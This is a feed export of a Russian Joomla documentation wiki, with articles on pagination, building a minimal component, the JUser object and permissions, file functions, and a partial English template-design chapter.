Joomla идеально подходит, как платформа для построения таких ресурсов. Чаще всего, большинство задач можно решить стандартным функционалом, но уж если нужен дополнительный функционал, то Joomla с ее потенциалом расширяемости способна, без преувеличения, решать все возникающие задачи.&lt;br /&gt;
&lt;br /&gt;
== Сайт - портал ==&lt;br /&gt;
&lt;br /&gt;
Последний и самый неоднозначный тип в нашем делении. Не имеет никаких специфических черт, это просто “все в одном” – портал предоставляющий сервисы на все случаи жизни и для всех его посетителей. Новости, игры, файлы и прочие развлечения. Именно здесь Joomla используется на полную мощность, предоставляя разработчику сайта множество возможностей для глубокой настройки и модернизации сайта. Так же предоставляя свой программный интерфейс для создания расширений, работающих по каким-либо конкретным, заложенным в сайт функциям.&lt;/div&gt;</summary>
		<author><name>Dead Krolik</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/%D0%9F%D0%B0%D0%B4%D0%B6%D0%B8%D0%BD%D0%B0%D1%86%D0%B8%D1%8F_%D0%B2_Joomla_1.x</id>
		<title>Паджинация в Joomla 1.x</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%9F%D0%B0%D0%B4%D0%B6%D0%B8%D0%BD%D0%B0%D1%86%D0%B8%D1%8F_%D0%B2_Joomla_1.x"/>
				<updated>2007-11-11T11:34:45Z</updated>
		
		<summary type="html">&lt;p&gt;Sli: Добавлены категории&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Вступление ===&lt;br /&gt;
В Joomla 1.x есть встроенные механизмы разделения списков на страницы. Причем не важно что это за список - вы просто используете экземпляр класса '''mosPageNav''' и при помощи него выводите разделители страниц.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Как это сделать ===&lt;br /&gt;
Основная цель разеделения на страницы - избежать сильной нагрузки на MySQL сервер и при получении данных выбирать только то, что вам непосредственно нужно. А нужны нам, предположим, записи с 10 по 20, и большого смысла выбирать целую тысячу конечно же нет.&lt;br /&gt;
&lt;br /&gt;
Технически это реализуется посредством конструкции [http://dev.mysql.com/doc/refman/5.0/en/select.html LIMIT x,y] языка SQL. Первое число - стартовая запись, второе - число записей которые надо отобрать.&lt;br /&gt;
&lt;br /&gt;
В Joomla этими двумя числами являются переменные '''$limit''' и '''$limistart'''. Обычно они передаются среди страниц и для того что бы их получить из запроса надо воспользоваться функцией '''mosGetParam''' в самом начале вашего компонента:&lt;br /&gt;
&amp;lt;php&amp;gt;$limit      = (int)mosGetParam( $_REQUEST, 'limit', 0 ) );&lt;br /&gt;
$limitstart = (int)mosGetParam( $_REQUEST, 'limitstart', 0 ) );&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Следующее что вам нужно - это узнать общее количество строк. Это необходимо, что бы код класса мог правильно определить общее число страниц. Например, если вы выводите список пользователей, это можно сделать вот так:&lt;br /&gt;
&amp;lt;php&amp;gt;$query = &amp;quot;SELECT COUNT(id) FROM #__users&amp;quot;;&lt;br /&gt;
$database-&amp;gt;setQuery( $query );&lt;br /&gt;
$total = $database-&amp;gt;loadResult();&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Так же мы знаем, что пользователю нельзя доверять, поэтому мы должны в случае не правильного ввода или при первом запросе компонента подкорректировать переменные '''$limit''' и '''$limistart'''. &lt;br /&gt;
&amp;lt;php&amp;gt;$limit = $limit ? $limit : 10;&lt;br /&gt;
if ( $total &amp;lt;= $limit ) { &lt;br /&gt;
    $limitstart = 0;&lt;br /&gt;
}&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
В данном примере мы будем выводить по 10 пользователей на страницу. &lt;br /&gt;
&lt;br /&gt;
Для использования класса mosPageNav надо включить файл, содержащий его, а именно pageNavigation.php:&lt;br /&gt;
&amp;lt;php&amp;gt;global $mosConfig_absolute_path;&lt;br /&gt;
require_once( $mosConfig_absolute_path . '/includes/pageNavigation.php' );&lt;br /&gt;
$pageNav = new mosPageNav( $total, $limitstart, $limit );&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Теперь можно выбирать только необходимые нам данные:&lt;br /&gt;
&amp;lt;php&amp;gt;$query = &amp;quot;SELECT * FROM #__users&amp;quot;;&lt;br /&gt;
$database-&amp;gt;setQuery( $query, $limitstart, $limit ); &lt;br /&gt;
$users = $database-&amp;gt;loadObjectList();&lt;br /&gt;
&lt;br /&gt;
for( $i=0; $i&amp;lt;sizeof($users); $i++ )&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
    $user = $users[$i];&lt;br /&gt;
    echo &amp;quot;{$user-&amp;gt;username} - {$user-&amp;gt;email}&amp;lt;br /&amp;gt;&amp;quot;;&lt;br /&gt;
}&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
А после отображения списка нужным нам образом надо вывести сами разделители страниц, например так:&lt;br /&gt;
&amp;lt;php&amp;gt;            &lt;br /&gt;
Отображать по &amp;lt;?php echo $pageNav-&amp;gt;getLimitBox( $link ); ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?php echo $pageNav-&amp;gt;writePagesLinks( $link ); ?&amp;gt;&lt;br /&gt;
            &lt;br /&gt;
Выберите страницу: &amp;lt;?php echo $pageNav-&amp;gt;writePagesCounter(); ?&amp;gt;&amp;lt;/php&amp;gt;&lt;br /&gt;
[[Категория:Программирование]]&lt;br /&gt;
[[Категория:Программирование для Joomla 1.0]]&lt;/div&gt;</summary>
		<author><name>Dead Krolik</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/%D0%A1%D0%B0%D0%BC%D1%8B%D0%B9_%D0%BF%D1%80%D0%BE%D1%81%D1%82%D0%BE%D0%B9_%D0%BA%D0%BE%D0%BC%D0%BF%D0%BE%D0%BD%D0%B5%D0%BD%D1%82_%D0%B4%D0%BB%D1%8F_Joomla_1.x</id>
		<title>Самый простой компонент для Joomla 1.x</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%A1%D0%B0%D0%BC%D1%8B%D0%B9_%D0%BF%D1%80%D0%BE%D1%81%D1%82%D0%BE%D0%B9_%D0%BA%D0%BE%D0%BC%D0%BF%D0%BE%D0%BD%D0%B5%D0%BD%D1%82_%D0%B4%D0%BB%D1%8F_Joomla_1.x"/>
				<updated>2007-11-10T20:35:18Z</updated>
		
		<summary type="html">&lt;p&gt;Sli: Добавлены категории&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Вступление ===&lt;br /&gt;
В данной небольшой статье я покажу как можно создать самый простой компонент для Joomla ветки 1.0. Просто костяк, на который потом можно &amp;quot;наращивать свое мясо&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Инсталляция любого компонента, модуля или мамбота как таковая это '''zip'''-файл, содержащий в себе несколько файлов и директорий в которых может находиться программный код, изображения или другие элементы, необходимые для работы вашего компонента. На самом деле не обязательно всегда сразу предусматривать что же у вас будет заложено в компоненте, что он будет использовать. Главное - выбрать для него имя и создать обязательные файлы. &lt;br /&gt;
&lt;br /&gt;
Все остальное - можно вносить уже после установки, во время процесса разработки, всего лишь модифицируя xml-файл и добавляя в него новые, необходимые вам, элементы. А сборку производить простым копированием в одну директорию файлов из админ- и фронт-части компонента и архивируя это в '''zip'''-файл.&lt;br /&gt;
&lt;br /&gt;
=== Поехали ===&lt;br /&gt;
Предположим вы создаете компонент по вводу данных о бабочках для продвинутых биологов-экологов. Я бы выбрал для него самое простое имя '''butterfly''', и скорее всего бы не прогадал, потому что мало кому придет в голову называть так компоненты. Но вот называть компонент именем '''test''' или '''shop''' не правильно, потому что вполне может сложиться ситуация, когда другой разработчик создал одноименный компонент и при установке двух таких расширений на один сайт может возникнуть конфликт.&lt;br /&gt;
&lt;br /&gt;
Итак. Создаем директорию '''com_butterfly''' и файл '''butterfly.php''' в ней. Первое имя для удобства, второе - по необходимости. Далее нам нужно описать наш инсталляционный пакет. Для этого используются специальным образом отформатированные [[XML файл компонента Joomla|xml-файлы]]. Например, такой:&lt;br /&gt;
&amp;lt;xml&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;windows-1251&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;mosinstall type=&amp;quot;component&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;name&amp;gt;butterfly&amp;lt;/name&amp;gt;&lt;br /&gt;
  &amp;lt;author&amp;gt;Who am I&amp;lt;/author&amp;gt;&lt;br /&gt;
  &amp;lt;authorUrl&amp;gt;google.com&amp;lt;/authorUrl&amp;gt;&lt;br /&gt;
  &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;&lt;br /&gt;
  &amp;lt;description&amp;gt;Учет миграции бабочек&amp;lt;/description&amp;gt;&lt;br /&gt;
  &amp;lt;files&amp;gt;&lt;br /&gt;
    &amp;lt;filename&amp;gt;butterfly.php&amp;lt;/filename&amp;gt;&lt;br /&gt;
    &amp;lt;filename&amp;gt;images/index.html&amp;lt;/filename&amp;gt;&lt;br /&gt;
  &amp;lt;/files&amp;gt;&lt;br /&gt;
&amp;lt;/mosinstall&amp;gt;&amp;lt;/xml&amp;gt;&lt;br /&gt;
В файл '''butterfly.php''' напишем примерно следующее:&lt;br /&gt;
&amp;lt;php&amp;gt;&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
&lt;br /&gt;
    echo &amp;quot;Привет всем бабочкам&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Вам наверняка стало интересно, а что это за папка '''images''' и зачем в ней создан файл '''index.html'''. Дело в том, что это такой трюк, который применяется, если нам надо, что бы установщик компонента создал какую-либо нужную нам директорию. В данном конкретном примере, мы можем хранить в ней фотографии добавляемых в каталог бабочек. Но. Фотографии добавляются уже после установки, а потому мы заранее должны определиться с местом их хранения. Пускай это будет именно эта папка. А файл '''index.html''' нам не повредит, даже если он будет совершенно пустой, потому что он всего лишь нужне для обозначения того, что папка будет создана.&lt;br /&gt;
&lt;br /&gt;
Итак, полная сборка архива компонента включает:&lt;br /&gt;
&lt;br /&gt;
* butterfly.php&lt;br /&gt;
* butterfly.xml&lt;br /&gt;
* Папка images и файл index.html в ней&lt;br /&gt;
&lt;br /&gt;
=== Установка и проверка ===&lt;br /&gt;
&lt;br /&gt;
Полученный архив устанавливаем стандартным способом через админку. Но. Помните - в данном компоненте нет административной части, потому что мы ее не создали. Не обязательная она, а потому и в выпадающем меню компонентов его тоже не будет. И найти его можно лишь во фронт-части. Для этого заходим на сайт, где установлена Joomla и пишем в адресной строке:&lt;br /&gt;
&amp;lt;pre&amp;gt;index.php?option=com_butterfly&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Административная часть ===&lt;br /&gt;
Если она все-таки нужна, то нам необходимо модифицировать xml-файл компонента, добавив сразу после закрытого тэга '''files''' следующий текст:&lt;br /&gt;
&amp;lt;xml&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
  &amp;lt;/files&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;administration&amp;gt;&lt;br /&gt;
    &amp;lt;menu&amp;gt;Бабочки&amp;lt;/menu&amp;gt;&lt;br /&gt;
    &amp;lt;submenu&amp;gt;&lt;br /&gt;
      &amp;lt;menu task=&amp;quot;&amp;quot;&amp;gt;Действие по умолчанию&amp;lt;/menu&amp;gt;&lt;br /&gt;
      &amp;lt;menu task=&amp;quot;view_catalog&amp;quot;&amp;gt;Просмотр каталога&amp;lt;/menu&amp;gt;&lt;br /&gt;
    &amp;lt;/submenu&amp;gt;&lt;br /&gt;
    &amp;lt;files&amp;gt;&lt;br /&gt;
      &amp;lt;filename&amp;gt;admin.butterfly.html.php&amp;lt;/filename&amp;gt;&lt;br /&gt;
      &amp;lt;filename&amp;gt;admin.butterfly.php&amp;lt;/filename&amp;gt;&lt;br /&gt;
&amp;lt;/administration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/mosinstall&amp;gt;&amp;lt;/xml&amp;gt;&lt;br /&gt;
&lt;br /&gt;
И создать два (можно даже пустых) файла '''admin.butterfly.html.php''' и '''admin.butterfly.php'''. Описание создания админ-интерфейса - повод для большой и отдельной статьи и потому здесь рассматриваться не будет. Главное понять что в тэге '''menu''' содержится текст, который будет помещен в выпадающее меню. В '''submenu''' - следующие уровни выпадающих меню, когда к строке запроса будет приписываться заданная переменная task. Например: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;index2.php?option=com_butterfly&amp;amp;task=view_catalog&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
А перечисленные в секции files файлы являются обязательными. В принципе можно в них включить xml-файл, но он должен скопироваться автоматически. Но лучше на это не надеяться. Возможно, в будущих версиях Joomla, такое поведение по умолчанию будет изменено.&lt;br /&gt;
&lt;br /&gt;
=== Действия с базой данных ===&lt;br /&gt;
Если при установке компонента вам жизненно необходимо создать рабочие таблицы или изменить существующие, то для этого есть специальная секция xml-файла. Можно ее поместить сразу после закрытого тэга files и до administration. &lt;br /&gt;
&amp;lt;xml&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/files&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;queries&amp;gt;&lt;br /&gt;
      &amp;lt;query&amp;gt;&lt;br /&gt;
        CREATE TABLE IF NOT EXISTS `#__batt_list` (&lt;br /&gt;
          id BIGINT UNSIGNED NOT NULL auto_increment PRIMARY KEY,&lt;br /&gt;
          name VARCHAR(255)&lt;br /&gt;
        ) TYPE=MyISAM;&lt;br /&gt;
      &amp;lt;/query&amp;gt;&lt;br /&gt;
&amp;lt;/queries&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/mosinstall&amp;gt;&amp;lt;/xml&amp;gt;&lt;br /&gt;
В данном случае мы создаем одну таблицу, в которой, по всей видимости и будем хранить данные о бабочках. Например, их имена.&lt;br /&gt;
[[Категория:Программирование]]&lt;br /&gt;
[[Категория:Программирование для Joomla 1.0]]&lt;/div&gt;</summary>
		<author><name>Dead Krolik</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/%D0%9E%D0%B1%D1%8A%D0%B5%D0%BA%D1%82_JUser_%D0%B2_Joomla_1.5</id>
		<title>Объект JUser в Joomla 1.5</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%9E%D0%B1%D1%8A%D0%B5%D0%BA%D1%82_JUser_%D0%B2_Joomla_1.5"/>
				<updated>2007-11-07T17:36:18Z</updated>
		
		<summary type="html">&lt;p&gt;Sli: /* Дополнительно */ стилистика&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Объект JUser ===&lt;br /&gt;
&lt;br /&gt;
Каждый запрос в любой CMS, в том числе и в Joomla совершает какой-либо пользователь. Информация о нем может быть доступна при использовании [http://api.joomla.org/Joomla-Framework/User/JUser.html API CMS Joomla 1.5]. Для получения этого объекта нужно использовать общую ''фабрику'' объектов:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;php&amp;gt;$user =&amp;amp; JFactory::getUser();&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
В данном случае мы получаем ссылку на объект пользователя, запросившего генерацию страницы. Объект хранится в памяти все время выполнения запроса. Доступны следующие поля объекта JUser ([http://api.joomla.org/Joomla-Framework/User/JUser.html#sec-var-summary полный список]) (доступ осуществляется через оператор '''-&amp;gt;'''):&lt;br /&gt;
* '''name''' — имя&lt;br /&gt;
* '''email''' — адрес электронной почты&lt;br /&gt;
* '''username''' — логин&lt;br /&gt;
* '''usertype''' — тип пользователя (группа)&lt;br /&gt;
* '''gid''' — идентификатор группы&lt;br /&gt;
* '''guest''' — является ли данный пользователь гостем (1 — гость, 0 — зарегистрирован и вошел на сайт)&lt;br /&gt;
&lt;br /&gt;
Все эти переменные это просто столбцы базы данных, которые есть у каждого пользователя. Но так же существуют некие переменные, которые храняется в настройках пользователя. Для получения таких параметров используется метод getParam данного объекта.  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;php&amp;gt;$user =&amp;amp; JFactory::getUser();&lt;br /&gt;
$language = $user-&amp;gt;getParam('language', 'the default');&lt;br /&gt;
echo &amp;quot;&amp;lt;p&amp;gt;Ваш язык - {$language}.&amp;lt;/p&amp;gt;&amp;quot;;&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Метод authorize ===&lt;br /&gt;
Данный метод используется для определения доступа конкретного пользователя к выполнению какой-либо задачи. Первый параметр — это компонент на который определяются права. Второй — сама задача ('''task'''). Например:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;php&amp;gt;$user =&amp;amp; JFactory::getUser();&lt;br /&gt;
  &lt;br /&gt;
if ($user-&amp;gt;authorize('com_content', 'edit', 'content', 'all')) {&lt;br /&gt;
&lt;br /&gt;
    echo &amp;quot;&amp;lt;p&amp;gt;Вы можете редактировать все статьи.&amp;lt;/p&amp;gt;&amp;quot;;&lt;br /&gt;
} else {&lt;br /&gt;
    echo &amp;quot;&amp;lt;p&amp;gt;Вы не можете редактировать все статьи.&amp;lt;/p&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
  &lt;br /&gt;
if ($user-&amp;gt;authorize('com_content', 'publish', 'content', 'own')) {&lt;br /&gt;
    echo &amp;quot;&amp;lt;p&amp;gt;Вы можете публиковать свои статьи.&amp;lt;/p&amp;gt;&amp;quot;;&lt;br /&gt;
} else {&lt;br /&gt;
    echo &amp;quot;&amp;lt;p&amp;gt;Вы можете не публиковать свои статьи.&amp;lt;/p&amp;gt;&amp;quot;;&lt;br /&gt;
}&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Но, разрешения встроенных функций не применимы к вашим собственным компонентами. Вы должны создать свои правила. Их можно добавить, например, в своем пользовательском плагине. Но помните, что права не наследуются ('''inherit''') — если Administrator может что-то, то это не означате, что Super Administrator автоматически это тоже может. Правило надо добавить вручную.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;php&amp;gt;$auth =&amp;amp; JFactory::getACL();&lt;br /&gt;
&lt;br /&gt;
$auth-&amp;gt;addACL('com_test', 'edit', 'users', 'super administrator');&lt;br /&gt;
$auth-&amp;gt;addACL('com_test', 'edit', 'users', 'administrator');&lt;br /&gt;
$auth-&amp;gt;addACL('com_test', 'edit', 'users', 'manager');&lt;br /&gt;
&lt;br /&gt;
$user =&amp;amp; JFactory::getUser();&lt;br /&gt;
&lt;br /&gt;
if ($user-&amp;gt;authorize('com_test', 'edit')) {&lt;br /&gt;
    echo &amp;quot;&amp;lt;p&amp;gt;Вы можете редактировать что-то там.&amp;lt;/p&amp;gt;&amp;quot;;&lt;br /&gt;
} else {&lt;br /&gt;
    echo &amp;quot;&amp;lt;p&amp;gt;Вы ничего не можете.&amp;lt;/p&amp;gt;&amp;quot;;&lt;br /&gt;
}&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Метод setParam ===&lt;br /&gt;
Данный метод используется для установки атрибута пользователя на текущую сессию. Первый параметр — это название атрибута, второй — его значение. Например:&lt;br /&gt;
&amp;lt;php&amp;gt;&lt;br /&gt;
$user =&amp;amp; JFactory::getUser();&lt;br /&gt;
$user-&amp;gt;setParam(&amp;quot;sample.name&amp;quot;, 'Иван');&lt;br /&gt;
$user-&amp;gt;setParam(&amp;quot;sample.surname&amp;quot;, 'Васильевич');&lt;br /&gt;
&amp;lt;/php&amp;gt;&lt;br /&gt;
==== Дополнительно ====&lt;br /&gt;
* Поскольку этот метод не записывает данные сразу в базу данных, значения будут действительны только до окончания сессии. Для сохранения параметров в СУБД следует воспользоваться методом '''$user-&amp;gt;save()'''&lt;br /&gt;
* По той же причине установка значений на время работы сессии работает и для неавторизованных пользователей.&lt;br /&gt;
* В релизе 1.5.9 данные группируются в стандартном INI-формате с разбиением по символу '.'. Таким образом,&lt;br /&gt;
&amp;lt;php&amp;gt;$user-&amp;gt;setParam('contacts.icq', '-1')&amp;lt;/php&amp;gt;&lt;br /&gt;
будет сохранено в базе как&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[contacts]&lt;br /&gt;
icq=-1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Однако следует осторожно относиться к этой возможности, поскольку значения более одного уровня вложенности не сохраняются. Например,&lt;br /&gt;
&amp;lt;php&amp;gt;$user-&amp;gt;setParam('company.department.name', 'Отдел продаж')&amp;lt;/php&amp;gt;&lt;br /&gt;
будет сохранён как&lt;br /&gt;
&amp;lt;pre&amp;gt;[company]&amp;lt;/pre&amp;gt;&lt;br /&gt;
И значение 'company.department.name', засчёт корректного хранения вложенности классом JParameter, будет доступно только втечение текущей сессии, но при повторной авторизации пользователя этот параметр будет недоступен.&lt;br /&gt;
&lt;br /&gt;
После этого, пока пользователь не вышел из системы, можно извлекать значения методом getParam. Поскольку не происходит сохранения значений в СУБД, то этот метод работоспособен в том числе и для гостей.&lt;br /&gt;
&lt;br /&gt;
== Ссылки ==&lt;br /&gt;
* ''[http://www.jlleblanc.com/index.php?option=com_content&amp;amp;task=view&amp;amp;id=48 источник]''&lt;br /&gt;
* ''[http://api.joomla.org/Joomla-Framework/User/JUser.html Описание на api.joomla.org]''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Категория:Программирование]]&lt;br /&gt;
[[Категория:Программирование для Joomla 1.5]]&lt;/div&gt;</summary>
		<author><name>Dead Krolik</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/%D0%A4%D0%B0%D0%B9%D0%BB%D0%BE%D0%B2%D1%8B%D0%B5_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B8_%D0%B2_Joomla_1.5</id>
		<title>Файловые функции в Joomla 1.5</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%A4%D0%B0%D0%B9%D0%BB%D0%BE%D0%B2%D1%8B%D0%B5_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B8_%D0%B2_Joomla_1.5"/>
				<updated>2007-11-07T17:12:27Z</updated>
		
		<summary type="html">&lt;p&gt;Sli: /* Получение структуры директорий */ Добавлен раздел ссылок, проставлены категории&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Работа с файлами ===&lt;br /&gt;
==== Получение расширения файла ====&lt;br /&gt;
&amp;lt;php&amp;gt;$ext =  JFile::getExt($filename);&amp;lt;/php&amp;gt;&lt;br /&gt;
Возвращает расширение указанного файла.&lt;br /&gt;
&lt;br /&gt;
==== Копирование файла ====&lt;br /&gt;
&amp;lt;php&amp;gt;JFile::copy($src, $dest);&amp;lt;/php&amp;gt;&lt;br /&gt;
Как ни странно - копирует заданный файл. Плюс делает некие проверки и при случае использует встроенный слой FTP-абстракции от прав файлов.&lt;br /&gt;
&lt;br /&gt;
==== Удаление файла ====&lt;br /&gt;
&amp;lt;php&amp;gt;JFile::delete($file);&amp;lt;/php&amp;gt;&lt;br /&gt;
Пытается удалить файл. &lt;br /&gt;
&lt;br /&gt;
=== Работа с директориями ===&lt;br /&gt;
==== Копирование дирекории ====&lt;br /&gt;
&amp;lt;php&amp;gt;JFolder::copy($src, $dest, $path, $force);&amp;lt;/php&amp;gt;&lt;br /&gt;
Копирует директорию целиком в указанное место. &lt;br /&gt;
* $path - базовый путь к директории&lt;br /&gt;
* $force - если '''true''' то перезаписывает файлы при совпадении имен. &lt;br /&gt;
&lt;br /&gt;
==== Создание директории ====&lt;br /&gt;
&amp;lt;php&amp;gt;JFolder::create($path, $mode);&amp;lt;/php&amp;gt;&lt;br /&gt;
Создает директорию и пытается установить на нее права 0777.&lt;br /&gt;
&lt;br /&gt;
==== Получение дерева файлов в директории ====&lt;br /&gt;
&amp;lt;php&amp;gt;JFolder::files($path, $filter = '.', $recurse, $fullpath , $exclude);&amp;lt;/php&amp;gt;&lt;br /&gt;
* $path - базовый путь директории&lt;br /&gt;
* $filter - подстрока которая должна содержаться в имени файла&lt;br /&gt;
* $recurse - если '''true''' строится рекурсивное дерево&lt;br /&gt;
* $fullpath - если '''true''', то возвращаемый путь будет абсолютным, а не относительным&lt;br /&gt;
* $exclude - массив расширений файлов, которые надо исключить из результирующего дерева&lt;br /&gt;
&lt;br /&gt;
==== Получение структуры директорий ====&lt;br /&gt;
&amp;lt;php&amp;gt;JFolder::folders($path, $filter = '.', $recurse, $fullpath , $exclude);&amp;lt;/php&amp;gt;&lt;br /&gt;
Параметры аналогичны предыдущей функции. &lt;br /&gt;
&lt;br /&gt;
== Ссылки ==&lt;br /&gt;
* ''[http://forum.joomla.org/index.php/topic,225318.0.html источник]''&lt;br /&gt;
&lt;br /&gt;
[[Категория:Программирование]]&lt;br /&gt;
[[Категория:Программирование для Joomla 1.5]]&lt;/div&gt;</summary>
		<author><name>Dead Krolik</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B5_%D0%B8_%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B5_%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80%D0%B0_XAMPP</id>
		<title>Руководство по установке и настройке сервера XAMPP</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B5_%D0%B8_%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B5_%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80%D0%B0_XAMPP"/>
				<updated>2007-08-28T20:33:53Z</updated>
		
		<summary type="html">&lt;p&gt;Xam: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;wdsdfag''Курсивный текст''h[[Медиа:Example.ogg]]&amp;lt;nowiki&amp;gt;Вставляйте сюда неотформатированный текст.&amp;lt;/nowiki&amp;gt;&lt;/div&gt;</summary>
		<author><name>Xam</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Glossary</id>
		<title>Glossary</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Glossary"/>
				<updated>2007-08-17T21:36:57Z</updated>
		
		<summary type="html">&lt;p&gt;Dead Krolik: Откачено к последнему изменению, сделанному Sourpuss&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;FTP//File Transport Protocol&lt;br /&gt;
AAAAA//American Association Against Acronym Abuse&lt;br /&gt;
ACK//Acknowledge&lt;br /&gt;
AFAIK//As Far As I Know&lt;br /&gt;
AWGTHTGTATA//Are We Going To Have To Go Through All This Again&lt;br /&gt;
HTTP//HyperText Transfer Protocol&lt;br /&gt;
Joomla//Система управления сайтом с открытым исходным кодом&lt;/div&gt;</summary>
		<author><name>Sourpuss</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Joomla_1.5_Template</id>
		<title>Joomla 1.5 Template</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Joomla_1.5_Template"/>
				<updated>2007-06-21T20:03:47Z</updated>
		
		<summary type="html">&lt;p&gt;Serj777: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Извеняюсь за бардак, но нет времени все доделать! Текст из PDF первые 20 из 52 страниц для перевода.&lt;br /&gt;
&lt;br /&gt;
Chapter 11&lt;br /&gt;
In this chapter, we'll go through the steps of creating a Joomla template. Specifically, we will create a template that uses cascading style sheets (CSS) to produce a layout without use of tables. This is a desirable goal as it means that the template code is easier to validate to World Wide Web Consortium (W3C) standards. It will also tend to load faster, be easier to maintain and perform better in search engines. We will discuss these issues in detail later in the chapter.&lt;br /&gt;
Included in this chapter are the following sections&lt;br /&gt;
•	What is a Joomla Template?&lt;br /&gt;
Explains what functions are performed by a Joomla template and the difference between a template with no content and when content is added into the CMS&lt;br /&gt;
•	Localhost Design Process&lt;br /&gt;
How the design process differs to that when designing a static (X)HTML web page.&lt;br /&gt;
•	W3C and Tableless Design&lt;br /&gt;
The implications of tableless design in Joomla and the relationship between W3C standards, usability and accessibility&lt;br /&gt;
•	The Template Components&lt;br /&gt;
What files make up a Joomla template and what functions thev perform&lt;br /&gt;
•	Using CSS to create a layout&lt;br /&gt;
How to create a source ordered 3 column layout using CSS rather than tables&lt;br /&gt;
•	The Default Joomla CSS&lt;br /&gt;
An introduction to basic CSS styles that should be used with Joomla. alone with the default list of styles that are used by the Joomla core&lt;br /&gt;
•	Modules&lt;br /&gt;
How to place, and style modules, including new techniques for rounded corners.&lt;br /&gt;
•	Menus&lt;br /&gt;
A simple strategy to produce lean CSS menus that mimic the effect of those developed with JavaScript&lt;br /&gt;
•	Hiding Columns&lt;br /&gt;
How to control when columns are shown and how to hide them when no content is present&lt;br /&gt;
•	Making a Real 1.5 Template&lt;br /&gt;
Here we will actually use a proper design and go through the steps to create a useable template for Joomla 1.5&lt;br /&gt;
What is a Joomla Template?&lt;br /&gt;
The Joomla template is a series of files within the Joomla CMS that control the presentation of the content. The Joomla template is not a web site, neither is it to be considered a complete web site design. The template is the basic foundation design for viewing your Joomla web site. To produce the effect of a &amp;quot;complete&amp;quot; web site, the template works hand in hand with the content stored in the Joomla databases. An example of this can be seen in Figure 11-1.&lt;br /&gt;
Fig. В - Joomla Template with little or no content&lt;br /&gt;
